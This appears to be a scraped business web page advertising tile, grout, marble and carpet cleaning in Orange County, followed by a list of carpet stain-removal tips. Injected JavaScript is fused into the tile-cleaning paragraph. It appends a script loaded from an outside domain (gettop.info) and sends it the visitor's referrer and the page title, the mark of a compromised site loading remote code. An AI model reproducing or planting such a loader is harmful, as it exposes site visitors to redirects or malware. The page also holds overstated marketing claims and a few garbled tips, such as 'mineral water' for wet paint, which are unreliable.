Pacific Tile & Grout Cleaning Services in Newport

Is Your Tile Great Looking, But the Grout is Ugly?

Grout can cause harmful health effects if not cleaned properly allowing harmful microbes, dirt, grease, stains, and mold to accumulate resulting in foul odors and deteriorating indoor air quality. Substances penetrate the tiny grout pores making thorough cleaning extremely difficult. Mold, mildew, dirt, and lime scale between the joints of the wall tiles particularly in washrooms/bathrooms can cause grout sealing problems and unhealthy conditions.

Unclean tile and grout can also cause many health hazards or health problems due to the continuous invasion of microorganisms on the surface, resulting in various allergies and serious diseases.

Tile & Grout Cleaning, Orange County

We understand the importance of clean tile and grout and the impact it has on the beauty and appearance of your floors and surfaces.We also know that trying to keep your tile and grout clean can be a frustrating and tiring job. Regular mopping just can’t do the trick. In fact, it can actually add to the problem by pushing water soluble contaminants deeper into the grout lines.

Most types of ceramic and porcelain tile are impermeable (not able to be penetrated). Mopping with cleaners will actually leave a detergent film on the tile’s surface that will cause it to look dingy and also cause it to resoil quickly. To add to this, the grout contains microscopic pores that act like a sponge absorbing stains and allowing dirt, mildew and contaminants to become trapped deep below the surface of grout lines. Dirt continues to build up inside these pores leaving your grout looking discolored and soiled. Only a thorough professional cleaning will remove this deep down dirt.

That’s where Pacific can help. Let us transform your dingy, tiled surfaces and help restore that fresh, uniformly clean look they once had. Our special attachment, combined with our truck powered equipment and restructured water, allows us to actually clean and rinse your tile and grout without harsh cleaners and our equipment eliminates any chemical residue. Call today and let a dirt free technician bring your tiled surfaces to life again.d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Marble Polishing and Cleaning in Orange County

Pacific Floor Care is your complete solution for all of your Marble Care needs. We specialize in Marble Polishing, Marble Cleaning, and Marble Repair. Call us to service your marble floors, marble counter tops, or any marble service.

Marble can be polished 3 different ways.

Marble crystallizing: This is considered a maintenance polish to marble (Las Vegas casinos use this process weekly to maintain a glass like appearance to their marbled casino floors.) The process is performed with a low speed floor buffer equipped with a steel wool pad. A crystallizing fluid is sprayed down on the floor and through a thermal chemical reaction with the marble a gloss is achieved. This method will not remove imbedded dirt or scratches. It is intended to maintain the gloss of the marble.

Marble paste polishing: This is considered the most common and cost effective way to restore the luster and clean marble. This process incorporates using a low speed buffer with a marble paste being buffed into the marble. Clean and capture tools are also utilized to steam clean the marble to remove ground in dirt and debris. The marble is then sealed with a solvent based sealer. (This process will not remove deep scratches in the marble.)

Marble diamond resurfacing: This process is utilized on extremely worn or scratched marble. This can be applied to both floors or counter tops. Multiple passes with a buffer using varying diamond grit cutters remove a layer of the marble. The final step is to paste polish and then seal the marble.

(Lippage removal can be added if the floor is not level)
(Lippage: tiles that are not laid completely level)

WHAT MAKES A GREAT CARPET CLEANING EXPERIENCE?

The three most important factors to consider are:

1) What Process is Used? Steam Cleaning or Dry Cleaning?
2) What Products are Used? Premium or Cheap? Green-Seal Approved or Not?
3) Better Technicians –The level of Training, Experience and Attitude of the Technicians?

WHAT IS THE BEST CARPET CLEANING PROCESS?

According to the major carpet manufacturers, it is Hot Water Extraction or Steam Cleaning followed by a No-Residue Fiber Rinse. The following web link is a list of major carpet manufacturers and their recommendations for what carpet cleaning process is necessary to qualify for their respective customer warranties. This information was sourced directly from the Carpet and Rug Institute:

DOES NEWPORT BEACH — USE STEAM CLEANING OR DRY CLEANING?

Pacific Orange County Carpet Cleaning uses ONLY Hot Water Steam Extraction, with Advanced Carpet Cleaning Products, followed by a No Residue Carpet Fiber Rinse, the most comprehensive and results-driven method of cleaning.

High Pressure Steam Cleaning with 235 degree Steam, in combination with the best carpet cleaning products is the ONLY method that successfully removes ALL of the soap and dirt from carpets that Dry Cleaning and other Steam Cleaners leave behind. Simply stated, the technology is NEWER, SAFER and FAR more effective at both emulsifying and releasing ground in traffic lanes, dark oily spots from carpets, pet stains, odor and carpet discoloration caused by food and drink spills.

Unfortunately some Carpet Cleaners use the weaker, outdated and more harmful, “Dry Cleaning” process, which often leaves copious amounts of soap in the carpet, thereby causing sticky residue that actually attracts more dirt! At Pacific Orange County Carpet Cleaning, we use only State-of-the-Art Carpet Steam Cleaning machines and products that leave absolutely no trace of soap behind, leaving your carpets cleaner, and keeping them in good condition longer.

HOW ARE ECO-GREEN PRODUCTS DIFFERENT FROM REGULAR CHEMICAL CLEANING PRODUCTS?

Eco Green Orange County Carpet Cleaning uses only products that meet the Carpet and Rug Institute , or CRI, Green Seal of Approval for being Non Toxic and posing a Zero Health Risk.

FACT: ALL Carpet Cleaning products contain some form of chemicals. Anything else is simply not true. The difference is we use Ultra-Premium Products, which also happen to surpass the Green Seal of Approval by the Carpet and Rug Institute.

WHAT ARE ECO-GREEN CARPET CLEANING PRODUCTS?

Carpet and Rug Institute Green Seal Certification of Approval requires that any product meet the following qualifications:

1) Biodegradable: All of our carpet cleaning products are fully biodegradable. They do not contaminate the ocean or drinking waters. This is possible because the solvents we used are citrus based dry solvents and do not contain lingering chemical compounds.

2) VOC Compliant: None of our carpet cleaning products contain kerosene, or other ethanol compounds, harmful to the environment and highly toxic to breathe. In fact, California law prohibits all Carpet Cleaners from using these chemicals and they are not sold in California.

3) Non-Toxic, Non-Irritant, Phosphate and Ethanol-free: For example we use a spot remover/degreaser called Pro-Chem “Citrus-Pro” This product is the Rolls-Royce of safe, non-toxic degreasers that remove grit, grime and sticky traffic lanes. Citrus-Pro costs more than other solvents because it contains d-Limonene, the most powerful solvent available, and it happens to be organic and non-toxic. CITRUS-PRO IS FAR MORE EFFECTIVE THAN THE MOST HARMFUL CHEMICAL COUNTERPARTS.

4) Health Hazard Score ZERO: Score a Zero out of possible Four, in diluted form, for the Health Hazard rating. As with all Professional-Grade Carpet Cleaning Products, a chart demonstrating the Health hazard rating MUST be displayed. ALL of our products score a 1 out of 4 or LESS in concentrated form and a 0 out of 4 in ready-to-use potency.

WHAT IS DIFFERENCE BETWEEN STEAM CLEANING AND DRY CLEANING?

For the past thirty years, Dry Cleaning was very popular, however that method leaves extraordinary amounts of both dirt and soapy chemical residue in the carpets, causing the spots to return after a short period of time and sometimes causing harmful skin irritations or toxic fumes.

The reason that Dry-Cleaning methods are no longer recommended is because they do not actually use vacuums, but rather Dry Cleaning (you know the companies) use high speed spinning pads to supposedly “collect” the dirt and soap. However, there is absolutely no extraction of soap OR dirt out of the carpet, leaving toxic soap and dirt in the carpet.

BREAK THE VISCOUS CYCLE OF “SPOTS COMING BACK”

Essentially, soap that is left in carpets attracts new dirt. Therefore, Dry Cleaning or Steam Cleaning without using a LOW pH Rinse, causes the soapy areas, those which were the dirtiest to begin with, to become dirty again in a shorter period of time because there is no soap removal.

In a way, it begins a viscous cycle wherein the “Dry Cleaner” must return every 3 months to keep getting the same dirt back out. In reality, Dry Cleaning simply wipes some dirt off and leaves a lot of soap and dirt behind.

Even steam cleaners, who do not use the LOW pH FIBER RINSE, are not getting all of the soap out of the carpet and leaving a toxic, irritant and dirt-attracting high pH residue.

Removing Carpet Stains Tips in Orange County CA

Knowing how to effectively remove spots from carpets is important. It will depend on what you are dealing with. Of course cleaning it up as soon as you can will also help to ensure that there is no stain left over. The problem though is that too many people don’t know what to use to clean up a stain. Therefore it ends up being there forever and in some cases they make it worse than it was before due to the product they use on it. There are a handful of items you want to keep a supply of just in case you need them to remove stains. Make a kit and place all of the items in a plastic container or a basket so you can find them when you need them. Some of them, you will already use in your home for basic things. These items to have included:

• Mild dish soap such as Joy or Dawn
• Clear household ammonia
• White vinegar
• Dry cleaning solvent
• Wet spotter
• Dry spotter
• Spotting brush
• Paint thinner
• Hydrogen peroxide
• Isopropyl alcohol
• Bacteria/Enzyme digester
• White cloths
• Wet/dry vacuum

There are six steps that you need to follow when it comes to effectively removing stains from carpet. Following them will help you to get the very best results.

1. Try to get the stain removed as soon as you can. The longer it sets in, the harder it will be to get it out. If you have to go to the store to get supplies it is going to cost you time so once again make sure you have them on hand. It is a myth that heat is a good way to remove stains so don’t use it. In most instances it is going to result in the stain setting in and you will never get it out.
2. Access the spill and take action right away. If the material is a liquid then blot it up. If you have a large amount of it then get out the wet/dry vacuum to remove it before it dries. If you are dealing with a solid then do your best to remove it with the spot brush by gently scraping. Make sure you make small movements so you don’t spread the area of the stain.
3. Once you have removed all you can, turn to cleaners such as soap and spotters to clean them up. If you don’t know how they will affect that type of material, you definitely want to use them on an area that is well hidden in that room first. If the test is fine then you should be good to proceed with it.
4. When you apply spotter to the carpet, you want to move from the outside perimeter of the stain. Then slowly work your way towards the middle of it. This way you can contain the area and you won’t end up spreading it. To prevent damages to the fibers of the carpet you need to make sure you blot as you work instead of scrubbing. Only use a spotting brush to break up the stain as other items can be too harsh for the fibers to withstand.
5. Make sure you remove all of the chemicals from the area with water. Then you can blot the area dry with clean towels. Use your hands to fluff up the carpeted area so that it looks like the rest of it.
6. To help remove all of the moisture from the area, place clean towels on the area. Put some heavy books on top of it to make sure there is enough pressure. Allow this to sit overnight and then check it in the morning.

There are some specific types of items that can create stains if you don’t know the right products to use to clean them. It is a good idea to have this information handy so you can easily refer to it in an instant. Here are some of the common stains as well as solutions for them.Lipstick – Try to scrape off as much as you can. Lipstick can be tricky so make sure you don’t spread the area of it. Try some ice to help harden it if you are having a hard time removing it. Dry cleaning solvent can certainly help too. If it is a dark color you may need to use ammonia as well.

Alcohol – Use a mild soap and water to blot it up. Create a mixture of vinegar and water then blot it as well. If necessary apply some hydrogen peroxide if the alcohol was colored and left a stain. You may need to repeat this process a couple of times to get it all out.

Blood – If the blood is dry do your best to scrape it all off. You can loosen it up with mild soap and water. Blot to remove the excess water and then add ammonia mixed with water. You may need to apply either rust remover or hydrogen peroxide if the blood is very difficult to get out of the carpet.

Candy – If you have children then it is inevitable that one day you will need to remove candy from your carpet. Try to scrape it with a spotter brush or a butter knife. Then use a sponge with mild soap and water. It is important that you get all of the sugar out of the area on the carpet. Failure to do so will result in that area attracting dirt and debris easily. Blot to dry when you are done.

Candle wax – Take the time to scrape as much of the candle wax off of the carpet as you can. Don’t be tempted to use heat though as a mentioned before. Instead use ice cubes to make the candle wax hard. Then it will break off of the fibers easily for you. The use of a dry cleaning solvent may be useful as well.

Acid – Make a mixture from baking soda and water to neutralize the acid. After that is done you want to use ammonia and then rinse it all out with plenty of cold water.

Mildew – The goal is to get rid of it completely so take your time. Use a dry brush to remove what you can to start with. Then use a clean sponge to apply a good disinfectant to the area. Follow this with ammonia and then hydrogen peroxide. Keep a good eye on the area over the next couple of days to make sure you got all of it.

Oil – How many fights have occurred in your home due to someone tracking in oil on your gorgeous carpet? Keep the peace by applying some dry cleaning solvent to the area. If you don’t work from the outside in though you may get a ring left so pay attention to this detail. Use mild soap and water to make sure you have removed all of it as well.

Chocolate – scrape it away if it is solid, blot it if it is in a liquid form. Use a sponge and some dry cleaning solvent to remove what remains. You may need to use mild soap and water or hydrogen peroxide if it is staining your carpet.

Soda – This is another very common type of stain but one you can clean up quickly. Try to blot it up as soon as it occurs. Use mild soap and water to remove it as well. Let it dry completely but if you still have a stain apply glycerin. Allow it to remain for ½ an hour and then rinse it with warm water.

Ink – Don’t freak out of ink gets on your carpet because it can be removed. Try to clean it up right way with mild soap and warm water. Be careful as this is one product that can easily spread if you don’t work from the outside in. You can also spray the area with hair spray to get it to loosen up.

Jelly – Blot the jelly and get as much of it up as you can. You may need to apply mild soap and water to help it get soft. Depending on the color of the jelly and the color of your carpet you may need a solution of vinegar to get the stain completely out.

Mud – Wet mud can be almost impossible to get rid of. If you allow it to dry, then you can brush it and it will crumble. Vacuuming it up is every simple too. If you have a stain left use either ammonia or dry cleaning solvent to remove it. carpet. You may need to use mild soap and water to get the residue out as well.

Gum – Gum can be quite a mess on the carpets, and it will get worse if you use heat. Instead use ice cubes to get it cold and then it should come right out. You may have to use some dry cleaning solvent to get the small pieces from the fibers though.

Ice cream – This is one item you want to clean up as fast as you can. You should be able to blot it with a dry cloth and then to use either ammonia or a protein digester on it. If a large amount of it is spilled you should shampoo the area so that it won’t be a magnet for dirt and debris.

Mustard – Try to blot it up as much as you can. This will work for ketchup which is commonly found with mustard on carpet. Apply mild soap and water too in order to remove what remains. If there is a stain then apply either rust remover or hydrogen peroxide. You definitely want to refrain from using any type of ammonia or alkaline cleaner for this type of stain.

Coffee – Since millions of people drink coffee each day, this is a common item that can leave stains. Use mild soap and water to blot what you can of it. If you clean it up right away that should do the trick. If not, use some vinegar to blot the area as well. You may need to use hydrogen peroxide as well. Coffee can be a stubborn stain though so make sure you work until it is completely gone.

Crayon – Children love crayons but sometimes they fail to keep them on paper. Use ice to get the wax of the crayons to harden. Then you should be able to remove it with your hands from the fibers. Next you can use dry cleaning solvent to get the remaining particles of it cleaned up.

Cigarette burns – If you or others in your home smoke, the carpet may end up with burns in it. You don’t have to replace the entire carpet though. Instead you can rub most of it out with a piece of steel wool. You can also trim the top of the fibers with a sharp razor blade. If you cut deep into the fibers you should apply super glue to the area. It is clear so no one will notice it. However, it will prevent the remaining fibers in that area from fraying.

Grass – Apply mild soap with water, blot the stain until it is gone. If it is stubborn try either ammonia or vinegar to the area with water.

Greasy foods – Dry cleaning solvent works well to remove greasy foods that have been spilled on your carpets.

Nail polish – Cleaning this up will depend on the type of nail polish that is involved. If it has acetone and it is non oil based then you want to blot it as much as you can. Dry cleaning solvent should help to remove the stain completely. If it doesn’t have acetone on it then you can use amyl acetate which you can buy at any pharmacy to get rid of it.

Paint or varnish – It isn’t the end of the world if you get paint or varnish on your carpet either. Mineral water is your best way of cleaning it up without any problems if it is still wet. Should you find dry paint on the carpet simply apply a small amount of lacquer thinner to it. Make sure you test this out on a hidden piece of carpet though to make sure it won’t alter the color.

Pet stains – Indoor pets are a leading cause of stains to the carpets. Try to blot it out as much as you can with clean towels. To get enough pressure you want to step on those towels for a few minutes. This way you penetrate what has gone deep into the fibers and the smell won’t linger. Apply a bacteria/enzyme digester as well. Wait for it to dry and then use mild soap and water to complete the clean up.

Throw up – While cleaning this isn’t fun it has to be done. Apply Lysol to help neutralize the smell as you clean it. Scrape up as much of it as you possibly can. Then use a bacteria/enzyme digester. Allow the area to dry and then use mild soap and water to complete the clean up process.

Rust – There is no doubt that rust can leave a very ugly stain on the carpet. To easily remove it, use steel wool or rust remover. Make sure you completely rinse the area with warm water after you are done.

Shoe polish – Do your best to blot it up without smearing or spreading it. Scrape off what you can and then apply dry cleaning solvent. You may need to use either ammonia or hydrogen peroxide to fully remove the stains.

Tar – This can be removed by scraping it off first. Then you can use either paint thinner or dry cleaning solvent to get rid of the rest. Make sure you rinse the area too with mild soap and water to get any remaining residue out of it.
